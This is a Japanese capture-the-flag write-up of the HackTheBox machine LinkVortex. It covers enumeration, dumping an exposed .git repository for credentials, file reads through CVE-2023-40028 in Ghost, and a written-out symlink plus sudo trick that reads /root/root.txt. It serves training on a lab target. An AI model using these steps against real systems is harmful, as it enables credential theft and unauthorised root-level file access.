HackTheBox Writeup： LinkVortex

# はじめに
本記事はHackTheBoxのWriteupです。

Machineは、LinkVortexです。

LinkVortexでは、認証情報の列挙やGhostの脆弱性について学びます。

## スキャニング
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 21:53 JST
Nmap scan report for dev.linkvortex.htb (10.10.11.47)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
| http-git: 
|   10.10.11.47:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|_      https://github.com/TryGhost/Ghost.git
|_http-title: Launching Soon
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.65 seconds
Scan completed
```

上記ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後linkvortex.htbにアクセスすると、以下の様な画面が表示されます。

![スクリーンショット 2025-01-01 22.36.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/085f04c2-7f07-9cb1-9f27-1e18bdc01ae3.png)

### サブドメイン
ffuwを用いてサブドメインの列挙を行います。

レスポンス結果を踏まえて、レスポンスサイズの値は全て230になっているため、`-fs`オプションを使用して除外します。

`$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H "Host:FUZZ.linkvortex.htb" -c -fs 230`

```

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 230
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 255ms]
:: Progress: [4989/4989] :: Job [1/1] :: 196 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
```

devのサブドメインを検出したのでアクセスすると、別のページが確認できました。

![スクリーンショット 2025-01-01 22.37.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/76ea1ea7-1033-cbca-4ab0-7c7e4d7943aa.png)

Launching Soonと表示されて、Webサイトは現在構築中であることが分かります。

### コンテンツ探索
Webサイトを調査するため、`gobuster`を用いてコンテンツ探索を行います。

`$ gobuster dir -u http://linkvortex.htb -w /usr/share/wordlists/dirb/common.txt -b 301`

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://linkvortex.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   301
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/             (Status: 404) [Size: 7361]
/favicon.ico          (Status: 200) [Size: 15406]
/LICENSE              (Status: 200) [Size: 1065]
/robots.txt           (Status: 200) [Size: 121]
/server-status        (Status: 403) [Size: 199]
/sitemap.xml          (Status: 200) [Size: 527]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
```

gobusterの結果より`robots.txt`ファイルにアクセスすると、以下の内容が確認できます。

![スクリーンショット 2025-01-01 22.37.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/f13aa844-fd98-0869-830d-df1c8433fa5e.png)

`sitemap.xml`ファイルについては、特に目ぼしい情報は見当たりません。

![スクリーンショット 2025-01-01 22.38.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/d22eb14b-9164-2e61-029c-99209011b6e9.png)

`/ghost`にアクセスすると認証画面が確認できました。

![スクリーンショット 2025-01-01 22.37.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/bb0b55f9-670e-906f-e99b-17cf98758914.png)

引き続き`/ghost`にログインするための認証情報を探索します。

`$ gobuster dir -u http://dev.linkvortex.htb -w /usr/share/wordlists/dirb/common.txt -b 404`

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.linkvortex.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 41]
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 2538]
/server-status        (Status: 403) [Size: 199]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
```

上記結果よりソースコードと思われる`.git`ディレクトリについて確認できました。

![スクリーンショット 2025-01-01 22.39.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/b2eaeee7-d4ae-a972-e9ae-b168150793dc.png)

WebサイトからGitリポジトリをダンプするためには、`git-dumper`を使用します。

https://github.com/arthaud/git-dumper


`$ python git_dumper.py http://dev.linkvortex.htb/.git/ ~/Download/git`

`git-dumper`を実行後、`ghost/core/test/regression/api/admin/authentication.test.js`ファイルから認証情報を発見しました。

```
const password = 'REDACTED';
```

取得した認証情報を用いて再度ログインします。

![スクリーンショット 2025-01-01 22.40.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/1474e84c-f454-f05e-e1f7-f882d5f46dff.png)

Dashboard画面が表示されました。

![スクリーンショット 2025-01-01 22.40.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/f16ce2a6-02d6-fbbb-c1d7-4372236ecf75.png)

## 脆弱性分析
足場を作るために利用可能な脆弱性を探します。

上記Dashboard画面について足場となる入り口は見つけられませんでしたが、`.git/config`の内容よりGhostのバージョンはv5.58.0と推測します。

```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/TryGhost/Ghost.git
	fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
```

Ghostのバージョン情報を基に脆弱性を調査した結果、[CVE-2023-40028](https://nvd.nist.gov/vuln/detail/CVE-2023-40028)の脆弱性を利用できる可能性があります。

CVE-2023-40028は、Ghostのバージョンが5.59.1より前のバージョンの場合、認証されたユーザーがシンボリックリンクのファイルをアップロードできる脆弱性があります。この脆弱性を悪用することで、任意のファイルを読み取ることができます。

CVE-2023-40028に関するエクスプロイトを実行後`/var/lib/ghost/config.production.json`ファイルを参照すると、認証情報が取得できます。

```
file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "REDACTED"
        }
      }
    }
}
```

## システムハッキング
取得した認証情報を用いてアクセスします。

### ユーザーフラグ
ログイン後、ユーザーフラグが確認できます。

```
total 28
drwxr-x--- 3 bob  bob  4096 Jan  1 13:24 ./
drwxr-xr-x 3 root root 4096 Nov 30 10:07 ../
lrwxrwxrwx 1 root root    9 Apr  1  2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob  bob   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 bob  bob  3771 Jan  6  2022 .bashrc
drwx------ 2 bob  bob  4096 Nov  1 08:40 .cache/
-rw-r--r-- 1 bob  bob   807 Jan  6  2022 .profile
-rw-r----- 1 root bob    33 Jan  1 13:22 user.txt
```

### ルートフラグ
ルートフラグを取得するためには、権限のエスカレーションが必要なため、引き続き脆弱な箇所を調査します。

`sudo -l`コマンドの実行結果を踏まえて、`clean_symlink.sh`を設定していることが分かります。

```
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

```

- /opt/ghost/clean_symlink.sh

```
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
```

上記シェルの内容より、シンボリックリンクのファイルを悪用することで、ファイルの内容を読み取ります。

`$ ln -s /root/root.txt hack.txt`

```
lrwxrwxrwx 1 bob  bob    14 Jan  1 13:55 hack.txt -> /root/root.txt
```

`$ ln -s /home/bob/hack.txt hack.png`

```
lrwxrwxrwx 1 bob  bob    18 Jan  1 13:56 hack.png -> /home/bob/hack.txt
```

`$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/hack.png`

```
Link found [ /home/bob/hack.png ] , moving it to quarantine
Content:
REDACTED
```

# おわりに
Machineの名前がヒントになっていました。

## 参考
- [CVE-2023-40028](https://osv.dev/vulnerability/CVE-2023-40028)